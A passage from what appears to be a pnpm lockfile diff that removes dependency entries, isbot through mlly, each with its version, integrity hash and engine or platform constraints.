sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} - - isbot@5.1.36: - resolution: {integrity: sha512-C/ZtXyJqDPZ7G7JPr06ApWyYoHjYexQbS6hPYD4WYCzpv2Qes6Z+CCEfTX4Owzf+1EJ933PoI2p+B9v7wpGZBQ==} - engines: {node: '>=18'} - - isexe@2.0.0: - resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - - iterator.prototype@1.1.5: - resolution: {integrity: sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==} - engines: {node: '>= 0.4'} - - jackspeak@3.4.3: - resolution: {integrity: sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==} - - javascript-stringify@2.1.0: - resolution: {integrity: sha512-JVAfqNPTvNq3sB/VHQJAFxN/sPgKnsKrCwyRt15zwNCdrMMJDdcEOdubuy+DuJYYdm0ox1J4uzEuYKkN+9yhVg==} - - jiti@2.6.1: - resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} - hasBin: true - - js-tokens@4.0.0: - resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} - - js-yaml@4.1.1: - resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} - hasBin: true - - jsesc@3.0.2: - resolution: {integrity: sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==} - engines: {node: '>=6'} - hasBin: true - - json-buffer@3.0.1: - resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} - - json-parse-even-better-errors@3.0.2: - resolution: {integrity: sha512-fi0NG4bPjCHunUJffmLd0gxssIgkNmArMvis4iNah6Owg1MCJjWhEcDLmsK6iGkJq3tHwbDkTlce70/tmXN4cQ==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - json-schema-traverse@0.4.1: - resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} - - json-stable-stringify-without-jsonify@1.0.1: - resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} - - json5@2.2.3: - resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} - engines: {node: '>=6'} - hasBin: true - - jsonfile@6.2.0: - resolution: {integrity: sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==} - - jsx-ast-utils@3.3.5: - resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==} - engines: {node: '>=4.0'} - - keyv@4.5.4: - resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} - - kleur@4.1.5: - resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} - engines: {node: '>=6'} - - levn@0.4.1: - resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} - engines: {node: '>= 0.8.0'} - - lightningcss-android-arm64@1.32.0: - resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [android] - - lightningcss-darwin-arm64@1.32.0: - resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [darwin] - - lightningcss-darwin-x64@1.32.0: - resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [darwin] - - lightningcss-freebsd-x64@1.32.0: - resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [freebsd] - - lightningcss-linux-arm-gnueabihf@1.32.0: - resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} - engines: {node: '>= 12.0.0'} - cpu: [arm] - os: [linux] - - lightningcss-linux-arm64-gnu@1.32.0: - resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [linux] - libc: [glibc] - - lightningcss-linux-arm64-musl@1.32.0: - resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [linux] - libc: [musl] - - lightningcss-linux-x64-gnu@1.32.0: - resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [linux] - libc: [glibc] - - lightningcss-linux-x64-musl@1.32.0: - resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [linux] - libc: [musl] - - lightningcss-win32-arm64-msvc@1.32.0: - resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [win32] - - lightningcss-win32-x64-msvc@1.32.0: - resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [win32] - - lightningcss@1.32.0: - resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} - engines: {node: '>= 12.0.0'} - - lilconfig@2.1.0: - resolution: {integrity: sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==} - engines: {node: '>=10'} - - lilconfig@3.1.3: - resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==} - engines: {node: '>=14'} - - loader-utils@3.3.1: - resolution: {integrity: sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==} - engines: {node: '>= 12.13.0'} - - local-pkg@1.1.2: - resolution: {integrity: sha512-arhlxbFRmoQHl33a0Zkle/YWlmNwoyt6QNZEIJcqNbdrsix5Lvc4HyyI3EnwxTYlZYc32EbYrQ8SzEZ7dqgg9A==} - engines: {node: '>=14'} - - locate-path@6.0.0: - resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} - engines: {node: '>=10'} - - lodash.camelcase@4.3.0: - resolution: {integrity: sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==} - - lodash.debounce@4.0.8: - resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==} - - lodash.memoize@4.1.2: - resolution: {integrity: sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==} - - lodash.merge@4.6.2: - resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} - - lodash.uniq@4.5.0: - resolution: {integrity: sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==} - - lodash@4.17.23: - resolution: {integrity: sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==} - - log-symbols@4.1.0: - resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==} - engines: {node: '>=10'} - - longest-streak@3.1.0: - resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} - - loose-envify@1.4.0: - resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} - hasBin: true - - lru-cache@10.4.3: - resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} - - lru-cache@5.1.1: - resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} - - lru-cache@7.18.3: - resolution: {integrity: sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==} - engines: {node: '>=12'} - - lucide-react@0.577.0: - resolution: {integrity: sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==} - peerDependencies: - react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0 - - magic-string@0.30.21: - resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} - - markdown-extensions@1.1.1: - resolution: {integrity: sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==} - engines: {node: '>=0.10.0'} - - marked@14.0.0: - resolution: {integrity: sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==} - engines: {node: '>= 18'} - hasBin: true - - math-intrinsics@1.1.0: - resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} - engines: {node: '>= 0.4'} - - mdast-util-definitions@5.1.2: - resolution: {integrity: sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==} - - mdast-util-from-markdown@1.3.1: - resolution: {integrity: sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==} - - mdast-util-frontmatter@1.0.1: - resolution: {integrity: sha512-JjA2OjxRqAa8wEG8hloD0uTU0kdn8kbtOWpPP94NBkfAlbxn4S8gCGf/9DwFtEeGPXrDcNXdiDjVaRdUFqYokw==} - - mdast-util-mdx-expression@1.3.2: - resolution: {integrity: sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==} - - mdast-util-mdx-jsx@2.1.4: - resolution: {integrity: sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==} - - mdast-util-mdx@2.0.1: - resolution: {integrity: sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==} - - mdast-util-mdxjs-esm@1.3.1: - resolution: {integrity: sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==} - - mdast-util-phrasing@3.0.1: - resolution: {integrity: sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==} - - mdast-util-to-hast@12.3.0: - resolution: {integrity: sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==} - - mdast-util-to-markdown@1.5.0: - resolution: {integrity: sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==} - - mdast-util-to-string@3.2.0: - resolution: {integrity: sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==} - - mdn-data@2.0.14: - resolution: {integrity: sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==} - - media-query-parser@2.0.2: - resolution: {integrity: sha512-1N4qp+jE0pL5Xv4uEcwVUhIkwdUO3S/9gML90nqKA7v7FcOS5vUtatfzok9S9U1EJU8dHWlcv95WLnKmmxZI9w==} - - media-typer@0.3.0: - resolution: {integrity: sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==} - engines: {node: '>= 0.6'} - - merge-descriptors@1.0.3: - resolution: {integrity: sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==} - - merge-stream@2.0.0: - resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} - - merge2@1.4.1: - resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} - engines: {node: '>= 8'} - - methods@1.1.2: - resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} - engines: {node: '>= 0.6'} - - micromark-core-commonmark@1.1.0: - resolution: {integrity: sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==} - - micromark-extension-frontmatter@1.1.1: - resolution: {integrity: sha512-m2UH9a7n3W8VAH9JO9y01APpPKmNNNs71P0RbknEmYSaZU5Ghogv38BYO94AI5Xw6OYfxZRdHZZ2nYjs/Z+SZQ==} - - micromark-extension-mdx-expression@1.0.8: - resolution: {integrity: sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==} - - micromark-extension-mdx-jsx@1.0.5: - resolution: {integrity: sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==} - - micromark-extension-mdx-md@1.0.1: - resolution: {integrity: sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==} - - micromark-extension-mdxjs-esm@1.0.5: - resolution: {integrity: sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==} - - micromark-extension-mdxjs@1.0.1: - resolution: {integrity: sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==} - - micromark-factory-destination@1.1.0: - resolution: {integrity: sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==} - - micromark-factory-label@1.1.0: - resolution: {integrity: sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==} - - micromark-factory-mdx-expression@1.0.9: - resolution: {integrity: sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==} - - micromark-factory-space@1.1.0: - resolution: {integrity: sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==} - - micromark-factory-title@1.1.0: - resolution: {integrity: sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==} - - micromark-factory-whitespace@1.1.0: - resolution: {integrity: sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==} - - micromark-util-character@1.2.0: - resolution: {integrity: sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==} - - micromark-util-chunked@1.1.0: - resolution: {integrity: sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==} - - micromark-util-classify-character@1.1.0: - resolution: {integrity: sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==} - - micromark-util-combine-extensions@1.1.0: - resolution: {integrity: sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==} - - micromark-util-decode-numeric-character-reference@1.1.0: - resolution: {integrity: sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==} - - micromark-util-decode-string@1.1.0: - resolution: {integrity: sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==} - - micromark-util-encode@1.1.0: - resolution: {integrity: sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==} - - micromark-util-events-to-acorn@1.2.3: - resolution: {integrity: sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==} - - micromark-util-html-tag-name@1.2.0: - resolution: {integrity: sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==} - - micromark-util-normalize-identifier@1.1.0: - resolution: {integrity: sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==} - - micromark-util-resolve-all@1.1.0: - resolution: {integrity: sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==} - - micromark-util-sanitize-uri@1.2.0: - resolution: {integrity: sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==} - - micromark-util-subtokenize@1.1.0: - resolution: {integrity: sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==} - - micromark-util-symbol@1.1.0: - resolution: {integrity: sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==} - - micromark-util-types@1.1.0: - resolution: {integrity: sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==} - - micromark@3.2.0: - resolution: {integrity: sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==} - - micromatch@4.0.8: - resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} - engines: {node: '>=8.6'} - - mime-db@1.52.0: - resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} - engines: {node: '>= 0.6'} - - mime-db@1.54.0: - resolution: {integrity: sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==} - engines: {node: '>= 0.6'} - - mime-types@2.1.35: - resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} - engines: {node: '>= 0.6'} - - mime@1.6.0: - resolution: {integrity: sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==} - engines: {node: '>=4'} - hasBin: true - - mimic-fn@2.1.0: - resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} - engines: {node: '>=6'} - - minimatch@3.1.5: - resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==} - - minimatch@9.0.3: - resolution: {integrity: sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==} - engines: {node: '>=16 || 14 >=14.17'} - - minimatch@9.0.9: - resolution: {integrity: sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==} - engines: {node: '>=16 || 14 >=14.17'} - - minimist@1.2.8: - resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} - - minipass-collect@1.0.2: - resolution: {integrity: sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==} - engines: {node: '>= 8'} - - minipass-flush@1.0.5: - resolution: {integrity: sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==} - engines: {node: '>= 8'} - - minipass-pipeline@1.2.4: - resolution: {integrity: sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==} - engines: {node: '>=8'} - - minipass@3.3.6: - resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} - engines: {node: '>=8'} - - minipass@5.0.0: - resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} - engines: {node: '>=8'} - - minipass@7.1.3: - resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} - engines: {node: '>=16 || 14 >=14.17'} - - minizlib@2.1.2: - resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} - engines: {node: '>= 8'} - - mkdirp-classic@0.5.3: - resolution: {integrity: sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==} - - mkdirp@1.0.4: - resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} - engines: {node: '>=10'} - hasBin: true - - mlly@1.8.0: - resolution: 